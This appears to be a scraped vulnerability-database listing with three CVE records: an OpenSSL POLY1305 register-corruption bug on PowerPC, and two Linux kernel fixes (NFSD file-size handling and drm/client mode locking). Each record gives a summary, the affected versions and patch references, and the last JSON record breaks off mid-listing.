Vulnerability from cvelistv5 – Published: 2024-01-09 16:36 – Updated: 2026-05-12 10:36

Title

POLY1305 MAC implementation corrupts vector registers on PowerPC

Summary

Issue summary: The POLY1305 MAC (message authentication code) implementation contains a bug that might corrupt the internal state of applications running on PowerPC CPU based platforms if the CPU provides vector instructions. Impact summary: If an attacker can influence whether the POLY1305 MAC algorithm is used, the application state might be corrupted with various application dependent consequences. The POLY1305 MAC (message authentication code) implementation in OpenSSL for PowerPC CPUs restores the contents of vector registers in a different order than they are saved. Thus the contents of some of these vector registers are corrupted when returning to the caller. The vulnerable code is used only on newer PowerPC processors supporting the PowerISA 2.07 instructions. The consequences of this kind of internal application state corruption can be various - from no consequences, if the calling application does not depend on the contents of non-volatile XMM registers at all, to the worst consequences, where the attacker could get complete control of the application process. However unless the compiler uses the vector registers for storing pointers, the most likely consequence, if any, would be an incorrect result of some application dependent calculations or a crash leading to a denial of service. The POLY1305 MAC algorithm is most frequently used as part of the CHACHA20-POLY1305 AEAD (authenticated encryption with associated data) algorithm. The most common usage of this AEAD cipher is with TLS protocol versions 1.2 and 1.3. If this cipher is enabled on the server a malicious client can influence whether this AEAD cipher is used. This implies that TLS server applications using OpenSSL can be potentially impacted. However we are currently not aware of any concrete application that would be affected by this issue therefore we consider this a Low severity security issue.

Severity ?

No CVSS data available.

CWE

CWE-440 - Expected Behavior Violation

Assigner

openssl

References

4 references

URL	Tags
https://www.openssl.org/news/secadv/20240109.txt	vendor-advisory
https://github.com/openssl/openssl/commit/5b139f9…	patch
https://github.com/openssl/openssl/commit/f3fc580…	patch
https://github.com/openssl/openssl/commit/050d263…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.2.0 , < 3.2.1 (semver) Affected: 3.1.0 , < 3.1.5 (semver) Affected: 3.0.0 , < 3.0.13 (semver)

Date Public ?

2024-01-09 00:00

Credits

Sverker Eriksson Rohan McLure

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T08:21:17.314Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "OpenSSL Advisory",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.openssl.org/news/secadv/20240109.txt"
          },
          {
            "name": "3.2.1 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/5b139f95c9a47a55a0c54100f3837b1eee942b04"
          },
          {
            "name": "3.1.5 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/f3fc5808fe9ff74042d639839610d03b8fdcc015"
          },
          {
            "name": "3.0.13 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/050d26383d4e264966fb83428e72d5d48f402d35"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240216-0009/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240426-0013/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240426-0008/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/03/11/1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240503-0011/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 6.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "LOW",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-6129",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-01-22T14:31:57.012999Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-06-20T15:28:07.908Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SINEC NMS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.0 SP1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:36:44.839Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-331112.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-915275.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.2.1",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.5",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.13",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Sverker Eriksson"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Rohan McLure"
        }
      ],
      "datePublic": "2024-01-09T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: The POLY1305 MAC (message authentication code) implementation\u003cbr\u003econtains a bug that might corrupt the internal state of applications running\u003cbr\u003eon PowerPC CPU based platforms if the CPU provides vector instructions.\u003cbr\u003e\u003cbr\u003eImpact summary: If an attacker can influence whether the POLY1305 MAC\u003cbr\u003ealgorithm is used, the application state might be corrupted with various\u003cbr\u003eapplication dependent consequences.\u003cbr\u003e\u003cbr\u003eThe POLY1305 MAC (message authentication code) implementation in OpenSSL for\u003cbr\u003ePowerPC CPUs restores the contents of vector registers in a different order\u003cbr\u003ethan they are saved. Thus the contents of some of these vector registers\u003cbr\u003eare corrupted when returning to the caller. The vulnerable code is used only\u003cbr\u003eon newer PowerPC processors supporting the PowerISA 2.07 instructions.\u003cbr\u003e\u003cbr\u003eThe consequences of this kind of internal application state corruption can\u003cbr\u003ebe various - from no consequences, if the calling application does not\u003cbr\u003edepend on the contents of non-volatile XMM registers at all, to the worst\u003cbr\u003econsequences, where the attacker could get complete control of the application\u003cbr\u003eprocess. However unless the compiler uses the vector registers for storing\u003cbr\u003epointers, the most likely consequence, if any, would be an incorrect result\u003cbr\u003eof some application dependent calculations or a crash leading to a denial of\u003cbr\u003eservice.\u003cbr\u003e\u003cbr\u003eThe POLY1305 MAC algorithm is most frequently used as part of the\u003cbr\u003eCHACHA20-POLY1305 AEAD (authenticated encryption with associated data)\u003cbr\u003ealgorithm. The most common usage of this AEAD cipher is with TLS protocol\u003cbr\u003eversions 1.2 and 1.3. If this cipher is enabled on the server a malicious\u003cbr\u003eclient can influence whether this AEAD cipher is used. This implies that\u003cbr\u003eTLS server applications using OpenSSL can be potentially impacted. However\u003cbr\u003ewe are currently not aware of any concrete application that would be affected\u003cbr\u003eby this issue therefore we consider this a Low severity security issue."
            }
          ],
          "value": "Issue summary: The POLY1305 MAC (message authentication code) implementation\ncontains a bug that might corrupt the internal state of applications running\non PowerPC CPU based platforms if the CPU provides vector instructions.\n\nImpact summary: If an attacker can influence whether the POLY1305 MAC\nalgorithm is used, the application state might be corrupted with various\napplication dependent consequences.\n\nThe POLY1305 MAC (message authentication code) implementation in OpenSSL for\nPowerPC CPUs restores the contents of vector registers in a different order\nthan they are saved. Thus the contents of some of these vector registers\nare corrupted when returning to the caller. The vulnerable code is used only\non newer PowerPC processors supporting the PowerISA 2.07 instructions.\n\nThe consequences of this kind of internal application state corruption can\nbe various - from no consequences, if the calling application does not\ndepend on the contents of non-volatile XMM registers at all, to the worst\nconsequences, where the attacker could get complete control of the application\nprocess. However unless the compiler uses the vector registers for storing\npointers, the most likely consequence, if any, would be an incorrect result\nof some application dependent calculations or a crash leading to a denial of\nservice.\n\nThe POLY1305 MAC algorithm is most frequently used as part of the\nCHACHA20-POLY1305 AEAD (authenticated encryption with associated data)\nalgorithm. The most common usage of this AEAD cipher is with TLS protocol\nversions 1.2 and 1.3. If this cipher is enabled on the server a malicious\nclient can influence whether this AEAD cipher is used. This implies that\nTLS server applications using OpenSSL can be potentially impacted. However\nwe are currently not aware of any concrete application that would be affected\nby this issue therefore we consider this a Low severity security issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://www.openssl.org/policies/secpolicy.html"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-440",
              "description": "CWE-440 Expected Behavior Violation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-14T14:55:55.315Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.openssl.org/news/secadv/20240109.txt"
        },
        {
          "name": "3.2.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/5b139f95c9a47a55a0c54100f3837b1eee942b04"
        },
        {
          "name": "3.1.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/f3fc5808fe9ff74042d639839610d03b8fdcc015"
        },
        {
          "name": "3.0.13 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/050d26383d4e264966fb83428e72d5d48f402d35"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "POLY1305 MAC implementation corrupts vector registers on PowerPC",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2023-6129",
    "datePublished": "2024-01-09T16:36:58.860Z",
    "dateReserved": "2023-11-14T16:12:12.656Z",
    "dateUpdated": "2026-05-12T10:36:44.839Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48829 (GCVE-0-2022-48829)

Vulnerability from cvelistv5 – Published: 2024-07-16 11:44 – Updated: 2026-05-12 10:12

Title

NFSD: Fix NFSv3 SETATTR/CREATE's handling of large file sizes

Summary

In the Linux kernel, the following vulnerability has been resolved: NFSD: Fix NFSv3 SETATTR/CREATE's handling of large file sizes iattr::ia_size is a loff_t, so these NFSv3 procedures must be careful to deal with incoming client size values that are larger than s64_max without corrupting the value. Silently capping the value results in storing a different value than the client passed in which is unexpected behavior, so remove the min_t() check in decode_sattr3(). Note that RFC 1813 permits only the WRITE procedure to return NFS3ERR_FBIG. We believe that NFSv3 reference implementations also return NFS3ERR_FBIG when ia_size is too large.

Severity ?

No CVSS data available.

Assigner

Linux

References

5 references

URL	Tags
https://git.kernel.org/stable/c/72c14aed6838b5d90…
https://git.kernel.org/stable/c/a231ae6bb50e7c0a9…
https://git.kernel.org/stable/c/37f2d2cd8eadddbbd…
https://git.kernel.org/stable/c/aa9051ddb4b378bd2…
https://git.kernel.org/stable/c/a648fdeb7c0e17177…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 72c14aed6838b5d90b4dd926b6a339b34bb02e08 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a231ae6bb50e7c0a9e9efd7b0d10687f1d71b3a3 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 37f2d2cd8eadddbbd9c7bda327a9393399b2f89b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < aa9051ddb4b378bd22e72a67bc77b9fc1482c5f0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a648fdeb7c0e17177a2280344d015dba3fbe3314 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.4.295 , ≤ 5.4.* (semver) Unaffected: 5.10.220 , ≤ 5.10.* (semver) Unaffected: 5.15.24 , ≤ 5.15.* (semver) Unaffected: 5.16.10 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T15:25:01.577Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a231ae6bb50e7c0a9e9efd7b0d10687f1d71b3a3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/37f2d2cd8eadddbbd9c7bda327a9393399b2f89b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/aa9051ddb4b378bd22e72a67bc77b9fc1482c5f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a648fdeb7c0e17177a2280344d015dba3fbe3314"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48829",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:57:33.741233Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:11.248Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:34.885Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3xdr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "72c14aed6838b5d90b4dd926b6a339b34bb02e08",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a231ae6bb50e7c0a9e9efd7b0d10687f1d71b3a3",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "37f2d2cd8eadddbbd9c7bda327a9393399b2f89b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "aa9051ddb4b378bd22e72a67bc77b9fc1482c5f0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a648fdeb7c0e17177a2280344d015dba3fbe3314",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs3xdr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.295",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.295",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.220",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.24",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Fix NFSv3 SETATTR/CREATE\u0027s handling of large file sizes\n\niattr::ia_size is a loff_t, so these NFSv3 procedures must be\ncareful to deal with incoming client size values that are larger\nthan s64_max without corrupting the value.\n\nSilently capping the value results in storing a different value\nthan the client passed in which is unexpected behavior, so remove\nthe min_t() check in decode_sattr3().\n\nNote that RFC 1813 permits only the WRITE procedure to return\nNFS3ERR_FBIG. We believe that NFSv3 reference implementations\nalso return NFS3ERR_FBIG when ia_size is too large."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:47:56.903Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/72c14aed6838b5d90b4dd926b6a339b34bb02e08"
        },
        {
          "url": "https://git.kernel.org/stable/c/a231ae6bb50e7c0a9e9efd7b0d10687f1d71b3a3"
        },
        {
          "url": "https://git.kernel.org/stable/c/37f2d2cd8eadddbbd9c7bda327a9393399b2f89b"
        },
        {
          "url": "https://git.kernel.org/stable/c/aa9051ddb4b378bd22e72a67bc77b9fc1482c5f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/a648fdeb7c0e17177a2280344d015dba3fbe3314"
        }
      ],
      "title": "NFSD: Fix NFSv3 SETATTR/CREATE\u0027s handling of large file sizes",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48829",
    "datePublished": "2024-07-16T11:44:13.313Z",
    "dateReserved": "2024-07-16T11:38:08.903Z",
    "dateUpdated": "2026-05-12T10:12:34.885Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35950 (GCVE-0-2024-35950)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

drm/client: Fully protect modes[] with dev->mode_config.mutex

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/client: Fully protect modes[] with dev->mode_config.mutex The modes[] array contains pointers to modes on the connectors' mode lists, which are protected by dev->mode_config.mutex. Thus we need to extend modes[] the same protection or by the time we use it the elements may already be pointing to freed/reused memory.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/5a2f957e3c4553bbb…
https://git.kernel.org/stable/c/41586487769eede64…
https://git.kernel.org/stable/c/d2dc6600d4e3e1453…
https://git.kernel.org/stable/c/18c8cc6680ce938d0…
https://git.kernel.org/stable/c/04e018bd913d3d333…
https://git.kernel.org/stable/c/8ceb873d816786a7c…
https://git.kernel.org/stable/c/3eadd887dbac1df8f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < 5a2f957e3c4553bbb100504a1acfeaeb33f4ca4e (git) Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < 41586487769eede64ab1aa6c65c74cbf76c12ef0 (git) Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < d2dc6600d4e3e1453e3b1fb233e9f97e2a1ae949 (git) Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < 18c8cc6680ce938d0458859b6a08b4d34f7d8055 (git) Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < 04e018bd913d3d3336ab7d21c2ad31a9175fe984 (git) Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < 8ceb873d816786a7c8058f50d903574aff8d3764 (git) Affected: e13a058310509b22b2b45cbdd82d8797e173c3db , < 3eadd887dbac1df8f25f701e5d404d1b90fd0fea (git)
Linux	Linux	Affected: 4.14 Unaffected: 0 , < 4.14 (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35950",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T15:10:23.377799Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:42.136Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:49.192Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5a2f957e3c4553bbb100504a1acfeaeb33f4ca4e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/41586487769eede64ab1aa6c65c74cbf76c12ef0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d2dc6600d4e3e1453e3b1fb233e9f97e2a1ae949"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/18c8cc6680ce938d0458859b6a08b4d34f7d8055"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/04e018bd913d3d3336ab7d21c2ad31a9175fe984"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ceb873d816786a7c8058f50d903574aff8d3764"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3eadd887dbac1df8f25f701e5d404d1b90fd0fea"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:09.471Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/drm_client_modeset.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5a2f957e3c4553bbb100504a1acfeaeb33f4ca4e",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            },
            {
              "lessThan": "41586487769eede64ab1aa6c65c74cbf76c12ef0",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            },
            {
              "lessThan": "d2dc6600d4e3e1453e3b1fb233e9f97e2a1ae949",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            },
            {
              "lessThan": "18c8cc6680ce938d0458859b6a08b4d34f7d8055",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            },
            {
              "lessThan": "04e018bd913d3d3336ab7d21c2ad31a9175fe984",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            },
            {
              "lessThan": "8ceb873d816786a7c8058f50d903574aff8d3764",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            },
            {
              "lessThan": "3eadd887dbac1df8f25f701e5d404d1b90fd0fea",
              "status": "affected",
              "version": "e13a058310509b22b2b45cbdd82d8797e173c3db",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/drm_client_modeset.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.14"
            },
            {
              "lessThan": "4.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
